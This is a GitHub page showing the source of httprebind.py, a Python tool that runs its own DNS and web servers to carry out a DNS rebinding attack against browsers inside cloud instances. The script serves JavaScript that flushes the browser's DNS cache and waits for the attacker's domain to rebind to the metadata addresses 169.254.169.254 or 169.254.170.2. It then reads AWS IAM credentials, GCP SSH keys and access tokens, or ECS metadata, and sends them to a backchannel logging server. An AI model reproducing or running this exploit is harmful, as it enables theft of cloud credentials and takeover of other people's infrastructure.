-
Notifications
You must be signed in to change notification settings - Fork 50
/
httprebind.py
287 lines (246 loc) · 6.62 KB
/
httprebind.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
import sys
import time
import threading
import SocketServer
import struct
from dnslib import *
from flask import Flask, request
from flask_cors import CORS, cross_origin
from time import sleep
class DomainName(str):
def __getattr__(self, item):
return DomainName(item + '.' + self)
if len(sys.argv) < 4:
print >>sys.stderr, 'Usage: httprebind.py domain.name serverIp (ec2|ecs|gcloud)'
sys.exit(1)
base = sys.argv[1]
serverIp = sys.argv[2]
mode = sys.argv[3]
D = DomainName(base + '.')
IP = serverIp
TTL = 0
soa_record = SOA(
mname=D.ns1, # primary name server
rname=D.daeken, # email of the domain administrator
times=(
201307231, # serial number
0, # refresh
0, # retry
0, # expire
0, # minimum
)
)
ns_records = [NS(D.ns1), NS(D.ns2)]
records = {
D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records,
D.ns1: [A(IP)],
D.ns2: [A(IP)],
D.ex.bc: [A(IP)],
D.ex: [A(IP)],
}
base = D.ex
for i in xrange(2500):
records[getattr(base, 'a%i' % i)] = [A(IP)]
def dns_response(data):
try:
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
except:
return ''
qname = request.q.qname
qn = str(qname)
qtype = request.q.qtype
qt = QTYPE[qtype]
if base in str(qname) and not str(qname).startswith('a'):
print 'DNS request for:', str(qname).strip('.')
if qn == D or qn.endswith('.' + D):
for name, rrs in records.items():
if name == qn:
for rdata in rrs:
rqt = rdata.__class__.__name__
if qt in ['*', rqt]:
reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata))
for rdata in ns_records:
reply.add_ar(RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata))
reply.add_auth(RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record))
return reply.pack()
class BaseRequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
self.send_data(dns_response(self.get_data()))
except Exception:
pass
class TCPRequestHandler(BaseRequestHandler):
def get_data(self):
data = self.request.recv(8192).strip()
sz = struct.unpack('>H', data[:2])[0]
if sz != len(data) - 2:
raise Exception('Wrong size of TCP packet')
return data[2:]
def send_data(self, data):
sz = struct.pack('>H', len(data))
return self.request.sendall(sz + data)
class UDPRequestHandler(BaseRequestHandler):
def get_data(self):
return self.request[0].strip()
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
app = Flask(__name__)
CORS(app)
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
boilerplate = '''
<img src="loaded">
<script>
var backchannelServer = 'bc.$BASE$';
var attackServer = '$BASE$';
function log(data) {
var sreq = new XMLHttpRequest();
sreq.open('GET', 'http://' + backchannelServer + '/log?msg=' + encodeURI(data), false);
sreq.send();
}
function get(url, exp) {
try {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.setRequestHeader('X-Google-Metadata-Request', 'True');
req.send(null);
if(req.status == 200)
return req.responseText;
else
return '[failed status=' + req.status + ']';
} catch(err) {
if(exp !== false)
log(err);
}
return null;
}
log('Starting...');
var req = new XMLHttpRequest();
req.open('GET', 'http://' + backchannelServer + '/rebind', false);
req.send();
var reqs = [];
var dnsFlush = 2500;
log('Flushing DNS');
for(var i = 0; i < dnsFlush; ++i) {
var req = reqs[i] = new XMLHttpRequest();
req.open('GET', 'https://a' + i + '.ex.$BASE$/', true);
req.send(null);
}
while(true) {
var hit = 0;
for(var i = 0; i < dnsFlush; ++i) {
if(reqs[i].readyState == 0)
break;
hit++;
}
if(hit == dnsFlush)
break;
}
log('DNS Flushed');
%s
</script>'''.replace('$BASE$', base)
ec2Code = '''
var role;
for(var i = 0; i < 600; ++i) {
var req = new XMLHttpRequest();
req.open('GET', 'http://' + backchannelServer + '/wait', false);
req.send();
role = get('http://' + attackServer + '/latest/meta-data/iam/security-credentials/');
if(role != 'still the same host')
break;
}
log('Role: ' + role);
log('Security credentials: ' + get('http://' + attackServer + '/latest/meta-data/iam/security-credentials/' + role));
log('AMI id: ' + get('http://' + attackServer + '/latest/meta-data/ami-id'));
'''
ecsCode = '''
var meta;
for(var i = 0; i < 600; ++i) {
var req = new XMLHttpRequest();
req.open('GET', 'http://' + backchannelServer + '/wait', false);
req.send();
meta = get('http://' + attackServer + '/v2/metadata');
if(meta != 'still the same host')
break;
}
log('Meta: ' + meta);
'''
gcloudCode = '''
var sshkeys;
for(var i = 0; i < 600; ++i) {
var req = new XMLHttpRequest();
req.open('GET', 'http://' + backchannelServer + '/wait', false);
req.send();
sshkeys = get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json');
if(sshkeys != 'still the same host')
break;
}
log('SSH keys: ' + sshkeys);
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
log('Access token: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/default/token'));
'''
@app.route('/')
def index():
if mode == 'ec2':
return boilerplate % ec2Code
elif mode == 'ecs':
return boilerplate % ecsCode
elif mode == 'gcloud':
return boilerplate % gcloudCode
assert False
waits = 0
@app.route('/wait')
@cross_origin()
def wait():
global waits
waits += 1
print 'Wait', waits
sleep(1)
return 'waited'
@app.route('/log')
@cross_origin()
def log():
print request.args['msg']
return 'logged'
@app.route('/rebind')
@cross_origin()
def rebind():
print 'Rebound DNS'
if mode == 'ecs':
records[D.ex][0] = A('169.254.170.2')
else:
records[D.ex][0] = A('169.254.169.254')
return 'rebound'
@app.route('/loaded')
def loaded():
print 'Page loaded'
return 'loaded'
@app.route('/latest/<path:subpath>')
@app.route('/computeMetadata/<path:subpath>')
@app.route('/v2/<path:subpath>')
def nil(subpath=None):
return 'still the same host'
def main():
port = 53
servers = [
SocketServer.ThreadingUDPServer(('', port), UDPRequestHandler).serve_forever,
SocketServer.ThreadingTCPServer(('', port), TCPRequestHandler).serve_forever,
lambda: app.run(host='0.0.0.0', port=80)
]
for s in servers:
thread = threading.Thread(target=s)
thread.daemon = True
thread.start()
try:
while True:
time.sleep(0.1)
sys.stderr.flush()
sys.stdout.flush()
except KeyboardInterrupt:
pass
finally:
sys.exit()
if __name__ == '__main__':
main()